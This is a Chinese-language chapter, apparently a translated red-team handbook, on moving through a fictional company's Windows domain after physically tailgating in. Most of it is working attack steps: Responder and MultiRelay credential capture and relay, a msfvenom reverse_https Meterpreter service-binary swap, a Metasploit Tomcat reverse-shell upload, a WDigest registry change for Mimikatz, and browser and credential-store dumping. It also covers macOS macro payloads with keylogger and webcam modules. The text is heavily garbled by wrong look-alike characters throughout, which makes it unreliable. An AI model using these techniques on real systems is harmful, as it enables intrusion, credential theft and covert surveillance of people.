本书长久强调的一丝是,通盘攻击行动的目的是为了测试蓝队的抑制检测器具和济急响应进程的遵循。咱们行动的宗旨相称明确,即是不雅察他们是否能够有所警悟。又或者像法医剖解那样,仔细复盘行动中发生的一切。对于本节的实验设想,我的想法是考证公司是否能够肯定有东说念主正在窃取用户们的电子邮件。是以,咱们要作念的是使用 Python 剧底本获取扫数被碎裂的电子邮件。在许厚情况下,这可能是千兆字节的数据!
高等选修实验一个很好的熟练是:攻击不同类型的的身份考证做事并对其进行密码尝试。尝试构建一个密码喷洒(Password Spraying)器具,用于测试针对 XMPP 做事、常见第三方 SaaS 器具和其他常见左券的身份考证。最好是在多个 VPS 做事器中实行此操作,扫数 VPS 做事器皆由一个主做事器控制。
通过辘集出动作为又名红队成员,咱们但愿尽可能安静地在辘集中穿梭。咱们但愿使用“特征”来查找和利用关联辘集、用户、做事等信息。日常,在红队行径中,咱们不但愿在内网环境中进行任何缺点扫描联系的行径。有时咱们以致不但愿对里面辘集运行 nmap 扫描。这是因为许多公司也曾相称擅长检测这些类型的扫描,至极是在运行缺点扫描器这样动静很大的东西时。
在本节中,你将麇集元气心灵在不触发任何检测防护的情况下在 CSK 的辘集进行横向漫游。咱们假设你也曾以某种方式进入里面辘集并最先寻找你的第一组凭证,或者也曾领有了一个用户机器上的 shell。
建立环境——实验辘集这部分完全是自界说的,但由于微软的授权限定,这本书里没法给你也曾制作好的的基于 Windows 的实验环境部署环境。是以至于若何作念,就得看你的动手智商了!
果真学会如何攻击宗旨环境的唯一方法是我方亲手构建一下宗旨环境。这能使你更领会地了解你正在攻击什么,为什么攻击有时候有用,有时候无效,并了解某些特定器具或进程的局限性。那么你需要建立什么样的实验环境呢?基于客户端的环境,Windows 和 Linux(以致 Mac)可能皆需要一个。如果你正在攻击企业辘集,你可能需要构建一个完整的 Active Directory 辘集(域环境)。鄙人面的实验中,咱们将学习如何为本书中的扫数例子构建一个测试环境。
一个盼愿的 Windows 测试实验环境,你可以我方创建,粗略是底下这样的:
域控制器-做事器:[Windows 2016域控制器] Web做事器:[IIS on Windows 2016] 客户端机器:[Windows 10]x3和 [Windows 7]x2 全部运行着 VMWare 的责任站中,责任站的内存至少16GB,SSD 硬盘500GB建立和创建域控制器:
微软对于构建2016版做事器的说明: https://blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/ 短地址: 安设和建立 Active Directory 之后,使用:dsac.exe 创建用户和组 创建多个用户 创建组并分配给用户(底下是分组): Space Helpdesk Lab成立客户端机器(Windows 7/10)加入域:
将扫数机器皆打好系统补丁 将机器结合到域 https://helpdeskgeek.com/how-to/windows-join-domain/ 确保添加一个域用户,该用户能够作为土产货料理员在每个系统上运行。这可以通过将该域用户添加到土产货机器上的土产货 administrators 组来杀青。 在每个主机上启用土产货料理员并成立密码将 GPO(组策略)成立为:
禁用防火墙 ( https://www.youtube.com/watch?v=vxXLJSbx1SI ) 禁用 AV( ) 禁用系统自动更新 将 Helpdesk 用户组添加到土产货料理员组 仅允许域料理员、土产货料理员、Helpdesk 登录( ) 临了,将 GPO 成立同步到主域将每个操作系统的扫数用户成立为自动登录(这会使得攻击测试愈加容易)。每次机器启动或重新启动时,它皆会自动登录,这样咱们就可以缩小地进行攻击并从内存中索要凭证:
https://support.microsoft.com/en-us/help/324737/how-to-turn-on-automatic-logon-in-windows 短地址:成立 IIS 做事器并建立 SPN:
https://www.rootusers.com/how-to-install-iis-in-windows-server-2016/ 短地址: https://support.microsoft.com/en-us/help/929650/how-to-use-spns-when-you-configure-web-applications-that-are-hosted-on 短地址: 在内网中莫得凭证假设你无法通过探伤外部做事得到任何密码,因此决定潜入大楼里面。你比及午饭后,潜入 Cyber Space Kittens 的办公室,找到抽烟室。即使你不抽烟,但你也知说念抽烟的东说念主有结伴神色。你点上一支烟,但是可以不和他们语言,但当他们走进他们的大楼时,你就可以随着他们全部进去,缩小极了!
既然你也曾闯入了 CSK 的里面环境,你可不想在那里呆太久被收拢。你拿出你相称信任的 drop box,找到一间空办公室,把它插上辘集,检讨你的手机,望望它是否正确传回了 beacon 到了你的家中,阐发之后连忙逃回安全的地方。
当你汗流夹暗自回到家时候,连忙地找到你的条记本电脑,登陆你的 VPN 做事器,当你看到阿谁 beacon 还在结合家里的时候,你就可以松连气儿了。现在你可以现在用 SSH 结合 beacon,可以迟缓地去拓展受感染主机的里面辘集,在多个主机之间出动,并尝试拿到你所温柔的数据。
Responder就像在上一个行径中一样,咱们使用 Responder 在辘集上侦听并伪造央求以得到辘集上的凭证。回顾一下上本书,当辘集上的系统实行查找 DNS 主机名失败时,受害者系统就会使用 Link-Local Multicast Name Resolution(简称 LLMNR)和 Net-BIOS Name Service(NBT-NS)进行回退 DNS 称呼解析。当受害者的电脑无法进行 DNS 查找时,他就会最先研究辘集上的任何东说念主是否知说念该主机名的解析方法。
一个简单而通用的例子:假设你电脑里有一个固定的分享硬盘驱动器目次,为:\cyberspacekittenssecretdrive\secrets。有一天,IT 部门从辘集中删除了分享驱动器,它就不存在了。但由于名为 cyberspacekittenssecretdrive 的做事器仍然有一个挂载的驱动器,因此系统将络续研究辘集是否有东说念主知说念此驱动器并回话它的 IP。固然现在这种文献分享示例可能很有数,但是,由于以前结合的系统很可能不再存在于辘集上,是以这个问题仍然会发生。咱们也曾从已挂载的驱动器、具有硬编码做事器的应用范例以及许屡次的造作建立中看到了这一丝。
咱们可以使用像 Responder 这样的器具来利用那些寻找有主机名的系统,并使用咱们的攻击做事器对其进行响应。更好的是,Responder 可以更进一步,充任 WPAD(Web Proxy Auto-Discovery Protocol,Web 代理自动发现左券)做事器,通过咱们的攻击者做事器代理扫数数据,但这是另一种攻击了。
cd /opt/Responder ./Responder.py -I eth0 –wrf现在,因为咱们处于 Windows 的企业环境中,咱们可以假设它很可能正在运行 Active Directory(行径目次)。因此,如果咱们能够响应来自受害者主机的 DNS 查找央求,咱们就可以使他们的系统结合到咱们的 SMB 分享做事。由于它们正在结合到 \cyberspacekittenssecretdrive 驱动器,因此咱们强硬制受害者使用他的 NTLMv2 凭证(或缓存的凭证)进行身份考证。咱们拿获的这些凭证不是顺利的 NTLM 哈希,而是 NTLM 央求/响应哈希(NTLMv2-SSP)。这些哈希表的唯一瑕疵是,破解它们的速率要比普通的 NTLM 哈希表要慢得多,但是比较于咱们要进行的大型凭证爆破动作来说,这不是一个大费劲。
咱们可以获取 NTLMv2哈希,将其传递给土产货的 hashcat 范例破解此密码。在 hashcat 中,咱们需要指定散列时势 “-m”( https://hashcat.net/wiki/doku.php?id=example_hashes )为 Net-NTLMv2 。
hashcat -m 5600 hashes\ntlmssp_hashes.txt passwordlists/*现在,假设咱们并不是真的想破解哈希,或者咱们不在意提醒用户有一些值得可疑的地方。咱们所能作念的是强制一个基自己份考证弹出窗口,而不是采取 -F(ForceWpadAuth)和 -b(basic auth)的要求使用 Net-NTLMv2凭证。
python ./Responder.py -I eth0 -wfFbv从上头的图像中可以看到,用户将被教唆输入用户名和密码,大多数东说念主只是践规踏矩的按教唆输入。一朝他们提交了他们的用户名和密码,咱们将能够拿获他们的密码明文!
更好的 Responder(MultiRelay.py)使用 Responder 和破解 NTLMv2-SSP 哈希的问题是,破解这些哈希所需的期间可能很长。更糟糕的是,咱们所处的环境中的料理员的密码可能是20多个的字符。那么,在这些情况下咱们能作念什么呢?如果所处环境不彊制实行 SMB 签名( 咱们可以通过快速的 nmap 剧本扫描找到 - https://nmap.org/nsedoc/scripts/smb-security-mode.html ),咱们可以使用一个微妙的小技巧来重新播放拿获的 SMB 央求。
Laurent Gaffie 在 Responder 中加入了一个处理身份考证重放攻击的器具。根据 Laurent 的网站神态,MultiRelay 是一个坚强的浸透测试实用范例,包含在响应范例器具的文献夹中,使你能够在遴选的宗旨上实行宗旨 NTLMv1 和 NTLMv2 中继器。面前也曾杀青多中继将 HTTP、WebDav、代理和 SMB 身份考证传递给 SMB 做事器。这个器具可以定制为接受一系列用户账户信息来中继到一个宗旨。这背后的主张是只针对域料理员、土产货料理员或特权帐户。”[-laurent.blogspot.com/2016/10/introducing-responder-multiray-10.html]
从较高的层面来看,MultiRelay 不会强制受害者对咱们的 SMB 分享进行身份考证,而是将任何含有身份考证的央求转发给咱们遴荐的受害者主机。天然,中继用户需要有另一台机器的拜谒权限;如果攻击得胜,咱们不需要处理任何密码和哈希破解。首先,咱们需要建立咱们的 Responder 和 MultiRelay:
裁剪 Responder 建立文献以禁用 SMB 和 HTTP 做事器 裁剪 Responder.conf 将 SMB 和 HTTP 变调为 Off 最先 Responder python ./Responder.py -I eth0 -rv 在一个新的结尾窗口中启动多中继 /opt/Responder/tools ./MultiRelay.py -t -c -u ALL一朝可以杀青通过中继结合到受害者主机,咱们就需要研究要在受害者的主机上实行什么操作。默许情况下,MultiRelay 可以生成一个比较基础的 shell,但咱们也可以自动实行 Meterpreter PowerShell payloads、Empire PowerShell payloads、dnscat2 PowerShell payloads、PowerShell 剧本(用于下载和实行 C2代理)、Mimikatz,或者只是运行 calc.exe 作为测试文娱。
参考文献
-tip-skip-cracking-responder-hashes-and-replay-them/ PowerShell Responder一朝咱们攻击进了 Windows 系统,咱们就可以在受害者机器上使用 PowerShell 进行 Responder 攻击。原始 Responder 的两个功能皆可以通过以下两个器具实行:
Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1 Inveigh-Relay更简单的是,这一切皆也曾集成在 Empire 中了。
莫得凭证的用户陈列一朝进入了内网中,咱们可以使用 Responder 来得到凭证或 shell,但有时也会发现同期启用 SMB 签名和破解 NTLMv2 SSP 是莫得实质进展的。那即是咱们退一步,从更基础的最先。在不主动扫描辘集的情况下,咱们需要得到一个用户列表(可能是用于密码爆破,以致是内网垂钓)。
一种遴荐是最先针对域控制器陈列用户。如果是早些时候(回到2003年),咱们可以尝试实行 RID 轮回来得到扫数用户帐户的列表。固然现在不可用了,但爆破帐户还有其他遴荐。一种遴荐即是利用 Kerberos:
nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt咱们将需要提供一个要测试的用户名列表,但是由于咱们只是查询 DC(域控制器)而莫得对其进行身份考证,因此日常此行动不会被检测。现在,咱们可以采取这些用户帐户,并再次最先密码猜解!
使用 CrackMapExec(CME)扫描辘集如果咱们还莫得得胜入侵进一个系统,但是咱们确乎通过 Responder、造作建立的 Web 应用范例、暴力破解或通过打印机得到了登录凭证,那么咱们可以尝试扫描辘集,望望这个帐户可以登录到那儿。使用像 CrackMapExec(CME)这样的器具进行简单的扫描可以匡助找到里面辘集上的开动进口点。
往常,咱们使用 CME 扫描辘集、通过辘集上的 SMB 进行符号/身份考证、对许多主机长途实行敕令,以致通过 Mimikatz 索要明证书证。Empire 和 CME 皆领有了一些新本性,咱们可以利用 Empire 的 REST 本性。鄙人面的场景中,咱们将使用其 REST API 启动 Empire,在 CME 中建立密码,让 CME 结合到 Empire,使用咱们领有的单一凭证扫描辘集,临了,如果得胜完成身份考证,则自动将 Empire 的 payload 推送到长途受害者的系统。如果你有一个 helpdesk 或高权限帐户,那就准备好加载 Empire shell 吧!
启动 Empire 的 REST API 做事器 cd /opt/Empire ./empire --rest --password ‘hacktheuniverse’ 变调 CrackMapExec 密码 打开 /root/.cme/cme.conf password=hacktheuniverse 运行 CME 来生成 Empire shells cme smb 10.100.100.0/24 -d ‘cyberspacekittens.local’ -u ‘’ -p ‘’ -M empire_exec -o LISTENER=http 在攻陷你的第一台机器之后当你通过社会工程、drop box、Responder、攻击打印机或通过其他攻击得到对主机的拜谒权限后,下一步要作念什么?这是一个相称要紧的问题。
在往常,你需要作念的一切,是了解你身在何处和邻近的辘集环境。咱们可能首先运行近似于“netstat -ano”的敕令来查找受害者的做事器、域和用户的 IP 范围的位置。咱们还可以运行敕令,如 ps 或 sc queryex type= service state= all | find “_NAME” 列出扫数正在运行的做事,并寻找杀毒软件或其他主机基础保护。底下是一些咱们首先可能运行的其他示例敕令:
辘集信息:
netstat -anop | findstr LISTEN net group “Domain Admins” /domain进程列表:
tasklist /v系统主机信息:
sysinfo Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\temp\os.txt wmic qfe get Caption,Description,HotFixID,InstalledOn简单的文献搜索:
dir /s password findstr /s /n /i /p foo * findstr /si pass *.txt | *.xml | *.ini来自分享/挂载驱动器的信息:
powershell -Command “get-WmiObject -class Win32_Share” powershell -Command “get-PSDrive” powershell -Command “Get-WmiObject -Class Win32_MappedLogicalDisk | select Name, ProviderName”让咱们现实一丝,莫得东说念主有期间记着扫数的敕令,但是咱们很行运!我相信,我相信咱们可以在一个名为 RTFM.py 的器具中缩小搜索到这些敕令,这是 @leostat 基于 RTFM 册本(很棒的资源)创建的一个快速查询的 Python 剧本,其中包含多数这些浅显的敕令。
更新并运行 RTFM cd /opt/rtfm chmod +x rtfm.py ./rtfm.py -u ./rtfm.py -c ‘rtfm’ 搜索扫数标签 ./rtfm.py -Dt 稽查每个标记的扫数查询/敕令。我可爱用的一个是陈列类 ./rtfm.py -t enumeration | more现在,RTFM 相称平庸,有许多不同的有用敕令。这是一个络续快速更新的优秀的资源。
这些皆是咱们为了获取信息而一直在作念的事情,但是如果咱们能从环境中得到更多呢?使用 PowerShell,咱们可以得到所需的辘集和环境信息。任何接济 C2 的器具皆能缩小实行 PowerShell ,因此可以使用 Empire、Metasploit 或 Cobalt Strike 来实行这些操作。鄙人面的例子中,咱们将使用 Empire ,你也可以尝试其他器具。
权限提高从普通用户到高权限帐户有许多不同的方式。
未被援用做事旅途:
这是一个格外简单和常见的缺点,其中做事可实行旅途莫得被引号括起来。这是很容易被利用的,因为如果旅途周围莫得引号,咱们就会利用当前做事。假设咱们有一个做事被建立为实行 C:\Program Files (x86)\Cyber Kittens\Cyber Kittens.exe。如果咱们有 CK 文献夹的写入权限,咱们可以将其替换为 C:\Program Files (x86)\Cyber Kittens\Cyber.exe(珍爱,原称呼中的 Kittens.exe 消逝了)的坏心软件。如果做事在系统上运行,咱们可以比及做事重新启动,并让咱们的坏心软件作为一个 system 帐户运行。 如何找到易受攻击的做事旅途: 通过 wmic 做事获取称呼、珍爱 displayname、pathname、startmode |findstr /i "Auto" |findstr /i /v "C:\Windows" | findstr /i /v """ 寻找 BINARY_PATH_NAME查找做事中存在的不安全的注册表权限:
识别允许更新做事映像旅途位置的弱权限账户检讨 AlwaysInstallElevated 注册表项是否已启用:
检讨 AlwaysInstallElevated 注册表项,该注册表项指示.msi 文献应以较高的权限 ( NT AUTHORITY\SYSTEM ) 安设 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/always_install_elevated.rb请珍爱,咱们并不需要手动完成这些操作,因为别东说念主也曾创建了一些好的 metasploit 和 PowerShell 模块,至极是针对 Windows 的模块。鄙人面的示例中,咱们将稽查 PowerUp PowerShell 剧本。在这种情况下,剧本与 Empire 全部在扫数常见的造作建立区域运行查找,比如允许普通用户得到土产货料理或系统帐户。鄙人面的示例中,咱们在受害者系统上运行这个范例,发现它有一些土产货系统的未援用做事旅途。现在,咱们可能无法重新启动做事,但咱们应该能够利用这个缺点,恭候做事重启。
Empire PowerUp 模块: usermodule privesc/powerup/allchecks最杰出的是:
ServiceName: WavesSysSvc Path: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe ModifiableFile: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe ModifiableFilePermissions: {WriteOwner, Delete, WriteAttributes, Synchronize…} ModifiableFileIdentityReference: Everyone StartName: LocalSystem看起来任何东说念主皆可以编写 WavesSysSyc 做事。这意味着咱们可以将 WaveSysSvc64.exe 文献替换为咱们我方的坏心二进制文献:
创建一个 Meterpreter 二进制文献(后续的著述将磋磨如何绕过杀毒软件) msfvenom -p windows/meterpreter/reverse_https LHOST=[ip] LPORT=8080 -f exe > shell.exe 使用 Empire 上传二进制文献并替换原始二进制文献 upload ./shell.exe C:\users\test\shell.exe shell copy C:\users\test\Desktop\shell.exe “C:\ProgramFiles\Waves\MaxxAudio\WavesSysSvc64.exe” 重新启动做事或恭候其重启一朝做事重新启动,你你应该会收到一个升级为 system 权限的 Meterpreter shell 。使用 PowerUp powershell 剧本,你将发现许多不同的做事皆会有权限提高的可能性。如果你想深入了解 Windows 权限提高的底层问题,请稽查 FuzzSecurity 的著述: 。
对于未打补丁的 Windows 系统,咱们确乎有一些权限升级攻击,比如:( https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 )和 ( https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135 ),但是咱们如何快速识别宗旨系统上安设了哪些补丁呢,咱们可以在受害者系统上使用系统默许自带的敕令来稽查安设了哪些系统补丁包。Windows 自带默许敕令systeminfo 将索要任何给定的 Windows 主机的扫数补丁安设历史记载。咱们可以拿回这个输出结果,将其复制到咱们的 Kali 系统并运行 Windows Exploit Suggester 以查找已知的缺点然后针对性的进行缺点利用从而提高权限。
回到你攻击的 Windows 10系统:
systeminfo systeminfo > windows.txt 将 windows.txt 复制到你的 Kali 诬捏机的 /opt/Windows-Exploit-Suggester 下 python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls这个器具也曾有一段期间莫得被爱戴了,但是你如故可以缩小地从中寻找到你正需要的能权限提高的缺点。
如果咱们处在一个也曾打好扫数补丁的 Windows 主机环境中,咱们将要点关注第三方软件中的不同权限提高缺点或操作系统的任何 0day 缺点。举例,咱们一直在寻找底下这样的缺点 ,这是 Windows 中的权限升级缺点,现在还莫得修补。日常在这些场景中,可能会有一些基本的 POC 代码,但是咱们需要测试、考证并屡次复现这个缺点。咱们日常监控某些领域存在全球特权升级的缺点:
?q=privilege escalation https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=escalation&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids日常,这只是期间问题。举例,当发现缺点时,这可能是你在系统打好补丁之前进一步碎裂系统有限的好契机。
权限提高实验测试并尝试不同类型的权限升级缺点的最好实验环境是 Rapid7的 Metasploitable3。这个充满缺点的框架会自动生成一个 Windows 诬捏机,其中包含扫数常见的和不常见的缺点。建立需要一丝期间,但是一朝建立好了诬捏机,它即是一个相称棒的实验环境。
让咱们来看一个简单的例子,然后快速最先:
使用 nmap 扫描 Metasploitable3 诬捏机的IP ( 确保全端口扫描免得你错过一些端口 ) 你将看到 ManageEngine 在端口8383上运行 启动 Metasploit 并搜索任何 ManageEngine 关联的缺点 msfconsole search manageengine use exploit/windows/http/manageengine_connectionid_write set SSL True set RPORT 8383 set RHOST < Your IP> exploit getsystem 你会珍爱到你不可得到 system 权限,因为你所利用的做事未作为特权程度运行。这时,你能作念到的即是尝试扫数不同的权限提高攻击。 其中,咱们看到的一件事是,Apache Tomcat 是作为特权程度运行的。如果咱们可以利用这个做事,咱们就可以将咱们的 payload 作为更高眉目的做事运行。咱们看到 Apache Tomcat 在外部辘集的8282端口运行,但它需要用户名和密码。因为咱们有一个土产货低权限的 shell,咱们可以尝试在磁盘上搜索这个密码。咱们可以在谷歌搜索“Tomcat密码存储在那儿”,搜索结果表明:“tomcat-users.xml”。 在受害者机器中,咱们可以搜索和读取 tomcat-users.xml 文献: shell cd \ && dir /s tomcat-users.xml type “C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf\tomcat-users.xml 现在让咱们使用找到的密码攻击 Tomcat。首先,登录到8282端口上的 Tomcat 料理控制台,并稽查咱们的密码是否有用。然后,咱们可以使用 Metasploit 通过 Tomcat 部署坏心的 WAR 文献。 search tomcat use exploit/multi/http/tomcat_mgr_upload show options set HTTPusername sploit set HTTPpassword sploit set RPORT 8282 set RHOST < Metasploitable3_IP> set Payload java/shell_reverse_tcp set LHOST < Your IP> exploit whoami 你现在应该是 system 权限了。咱们利用第三方的器具(tomcat)来提高权限到 system 权限。 从内存中索要明证书据Mimikatz 自推出以来,就改变了在浸透入侵中获取明文密码的方式。在 Windows 10之前,以土产货料理员的身份在主机系统上运行 Mimikatz 的话是允许攻击者从 lsass(土产货安全机构子系统做事)中索要明文密码的。这种方法在 Windows 10 出现之前相称有用,而在 windows 10 中,即使你是土产货料理员,也无法顺利读取它。现在,我看到了一些奇怪的表象,其中单点登录( SSO )或者一些特殊的软件会把密码保存在 LSASS 程度中让 Mimikatz 读取,但是咱们现在先忽略这个。在这一章中,咱们将磋磨当这件方法(指 SSO 和特殊的软件)不责任时该作念什么(比如在 Windows 10系统中)。
假设你攻击了 Windows 10系统的主机何况提高权限了,默许情况下,你将治愈 Mimikatz 的建立,并根据底下的查扣问看到密码字段为空。
那么你能作念什么呢?最简单的选项是成立注册表项以让系统将密码凭证保存到 LSASS 程度。在 HKLM 中,有一个 UseLogonCredential 成立,如果成立为0,系统将在内存中存储凭证( ):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 在 Empire 中,咱们可以通过 shell 敕令运行: shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f这个注册表修改的问题即是需要用户重新登录到系统。你可以让宗旨机器屏幕锁屏、重新启动或刊出用户,以便你能够拿获然后再次发送凭证文本。最简单的方法是锁定他们的责任机器(这样他们就不会丢失他们确当前的责任...望望我有多好!)。要触发锁屏:
rundll32.exe user32.dll,LockWorkStation一朝咱们锁定屏幕,并让它们重新登录,咱们就可以重新运行 Mimikatz 来得到明文密码。
如果咱们无法提高到土产货料理帐户若何办?咱们还有哪些其他方法可以得到用户的凭证?在往常,一个常见的浸透攻击是在客户机的用户空间内存中稽查凭证是否以明文时势存储。现在一切皆是基于浏览器的,咱们能在浏览器中作念相似的事情吗?
在这里,putterpanda 将和一个很酷的 POC 器具在全部来完成这个任务,称为 Mimikittenz。Mimikittenz 所作念的即是利用 Windows 函数 ReadProcessMemory()来索要来自多样宗旨程度(如浏览器)的密码,并输出纯文本。
Mimikitten 接济 Gmail,Office365,Outlook Web,Jira,Github,Bugzilla,Zendesk,Cpanel,Dropbox,Microsoft OneDrive,AWS Web 做事、Slack、Twitter 和 Facebook。编写 Mimimikittenz 搜索抒发式也很容易。
这个器具最好的地方在于它不需要土产货料理员权限,因为他只需要拜谒那些用户自己创建的程度。一朝咱们攻击进了主机,咱们将把 Mimimikittenz 导入内存,并运行 Invoke-mimikittenz 剧本。
正如上头所看到的,用户通过 Firefox 登录到 Github 中,咱们可以从浏览器内存中索要他们的用户名和密码。现在,我但愿这本书的读者皆能把这个器具用的越来越高等,为不同的应用范例创建更多的搜索查询。
从 Windows 凭证料理器和浏览器获取密码Windows 凭证料理器是 Windows 的默许功能,用于保存系统、网站和做事器的用户名、密码和证书。记不记安妥你使用 Microsoft IE/EDGE 对网站进行身份考证后,日常会弹出一个弹出窗口,研究“是否要保存密码?”凭证存储即是存储这些信息的地方,在凭证料理器中,有两种类型的凭证:Web 和 Windows。你还紧记哪个用户有权拜谒这些数据吗?它不是 system,而是登录后可以检索此信息的用户。这对咱们来说是很好的,就像任何垂钓网站或代码实行一样,咱们日常皆可以用别的方法得到阿谁用户的权限。最好的一丝是,咱们以致不需要成为土产货料理员来索要这些数据。
如何索要这些信息呢?咱们可以使用两种不同的 PowerShell 剧本导入以汇集此数据:
汇集辘集凭证: https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1 汇集 Windows 凭证(只汇集通用的而不是宗旨域特有的): https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1从上图中可以看到,咱们索要了他们的 Facebook 存储的凭证和任何他们领有通用的凭证。记着,对于 Web 凭证,Get-WebCredentials 只可从 Internet Explorer/Edge 获取密码。如果咱们需要从 Chrome 获取,咱们可以使用 Empire payload 的 powershell/collection/ChromeDump。在获取之前,要运行 ChromeDump 的话,首先需要终止 Chrome 程度,然后运行 ChromeDump,临了,我可爱拉取下载扫数的浏览器历史和 cookies。 咱们不仅可以了解他们的里面做事器的多数信息,而且,如果他们的会话仍然存在,咱们也可以使用他们的 cookies 和身份考证,而不必知说念他们的密码!
使用如下 PowerShell 剧本:https://github.com/sekirkity/browsergather ,咱们可以索要扫数浏览器 cookies,并通过咱们的浏览器利用这些 cookies,但是扫数这些 cookies 皆莫得提高权限的功能。
接下来,咱们以致可以最先在受害者系统上可能安设的扫数第三方软件中寻找做事器和凭证。一个叫作念 SessionGopher 的器具可以从 winscp、putty、superputty、filezilla 和 microsoft 长途桌面获取主机名和保存密码。还有一个其他功能是能够从辘集上的其他系统长途获取它的土产货凭证,启动 sessiongopher 的最简单方法是导入 PowerShell 剧本并实诈欺用:
Load PowerShell File: . .\SessionGopher.ps1 Execute SessionGopher Invoke-SessionGopher -Thorough咱们可以通过以下几种方式从主机系统获取凭证,而无需提高权限、绕过 UAC 或使用键盘记载器。因为咱们是在用户的系统会话中,是以咱们可以拜谒主机上的许多资源,以匡助咱们陆续攻击。
从 OSX 获取土产货凭证和信息本书内的大部分横向解析麇集在 Windows 上。这是因为险些扫数中大型环境皆使用 Active Directory 来料理其系统和主机。咱们每年皆能看到越来越多的 Mac 电脑,是以但愿本书的内容也稍带说起一下 MAC。一朝进入一个 MAC 主机的内网环境,许多攻击就近似于在 Windows 主机环境中的攻击(即扫描默许凭证、Jenkin 等应用范例攻击,嗅探辘集,并通过 SSH 或 VNC 横向出动)。
有多个浸透攻击框架的 payload 接济 Mac,我最可爱的是使用 Empire。Empire 可以生成多个 payload 来诱拐受害者实行咱们的代理,其中包括 Ducky scripts、二进制可实行范例、Office 宏、Safari 启动范例、pkg 安设包等等。举例,咱们可以创建一个和 Windows 主机适用的 PowerShell Empire 中的 Office 宏:
打开 Empire 首先,确保你能像咱们在本书的伊始所作念的那样成立你的 Empire 监听器 接下来,咱们需要构建一个 OSX 宏的 payload 成立要写入土产货文献系统的输出文献 生成 Payload如果你稽查生成的 Office 宏,你将看到它只是由 Python 实行的 Base64代码。行运的是,Python 是 Mac 上的默许应用范例,当实行这个宏时,咱们应该得到 agent beacon。
要在 Mac 中创建坏心 Exce l文献,咱们可以打开一个新的 Excel 责任表,转到“器具”,稽查宏,然后在此责任簿中创建宏,一朝 Microsoft Visual Basic 打开,就删除扫数当前代码并将其替换为扫数新的宏代码。临了,将其保存为 XLSM 文献。
现在,把你的坏心文献发送给你的宗旨攻击者,看着 Empire 大展神威。在受害者那边,一朝他们打开 Excel 文献,就会出现这样的情况:
确保创建了一个合理的情形,让他们单击“启用宏”。
一朝你的代理结合回你的 Empire 做事器,接下来的操作和侦察阶段就相称相似了。咱们需要:
转储浏览器信息和密码:usemodule collection/osx/browser_dump启用键盘记载器:
usemodule collection/osx/keylogger让应用范例教唆获取密码:
usemodule collection/osx/prompt长久打开电脑录像头拍照:
usemodule collection/osx/webcam利用 Windows 域环境的土产货应用范例进行攻击
相似,鄙人面的示例中,咱们将使用 PowerShell Empire。天然,你还可以使用 Metasploit、Cobalt Strike 等近似的攻击框架进行相通的攻击。只须你有智商将 PowerShell 剧本导入内存,何况能够绕过主机系统的任何防护,用什么其实并不要紧。
现在的你也曾完全空置了受害者的主机,从他们的责任东机偷走了扫数的奥密,还了解一些受害者浏览的网站,并运行了一些近似 netstat 的敕令进行侦察责任...那接下来是什么?
对于红队队员来说,果真的问题是找到关联做事器、责任站、用户、做事以及他们的 Active Directory 环境的可靠信息。在许厚情况下,由于受到辘集警报和被抓获的风险,咱们无法运行任何缺点扫描操作,以致无法运行 NMAP 扫描。那么,咱们如何利用辘集和做事的“本性”来查找咱们需要的扫数信息?
Service Principal Names(处当事人体称呼)处当事人体称呼(即 SPN)是 Windows 中的一项功能,它允许客户端能够唯一地符号做事的实例。Kerberos 身份考证使用 SPN 将服求实例与做事登录帐户关联[https://msdn.microsoft.com/enus/library/ms677949(v=vs.85).aspx] 。举例,你可以在那些运行 MSSQL 做事器、HTTP 做事器、打印做事器和其他做事器的做事帐户找到一个用于做事的 SPN。对于攻击者来说,查询 SPN 是爆破阶段的要紧部分。这是因为任何域用户帐户皆可以查询与 Active Directory 关联的扫数做事帐户和做事器的 AD。咱们可以在不扫描单个主机的情况下识别扫数数据库做事器和 Web 做事器!
作为一个攻击者,咱们可以利用这些“本性”来查询 Active Directory。在职何也曾加入域的策动机上,攻击者皆可以运行 setspn.exe 文献来查询 Active Directory(AD)。此文献是扫数 Windows 机器默许自带的 Windows 二进制文献。
setspn -T [DOMAIN] -F -Q / 功能 -T = 对指定域实行查询 -F = 在 AD 环境而不是域级别环境实行查询 -Q = 在每个宗旨域或林环境上实行 / = 夸耀扫数咱们可以从 setspn 中看到什么类型的信息?底下,运行 setspn 敕令,咱们会看到一些在域控制器上运行的做事的信息,还关联于责任站的信息,咱们还找到了一个名为 csk-github 的做事器。在这个做事器中,咱们可以看到在主机上运行着一个 HTTP 做事。如果这些相通的左券运行在不同的端口上的话,这些信息也会被列出。
setspn 不仅提供关联做事用户和扫数主机名的有用信息,它以致也会告诉咱们哪些做事正在系统上什么端口上运行。如果咱们可以顺利从 AD 中获取做事以致端口的大部分信息,那为什么咱们还需要扫描辘集?咱们可能立地攻击的东西是什么?Jenkins? Tomcat? ColdFusion?
查询 Active Directory我不知说念也曾有几许次,好阻扰易找到了一个域用户帐户和密码,却被见告它只是一个莫得其他特权的域用户帐户,但无谓缅想。咱们日常可以在打印机,分享信息责任站,带有做事密码的文本文献,建立文献、iPad、包含密码的 Web 应用范例的页面源代码中中找到这些类型的帐户,但是,对于这些莫得其他构成员阅历的基本域用户帐户,你可以用来作念什么?
获取关联 AD 顶用户的详实信息
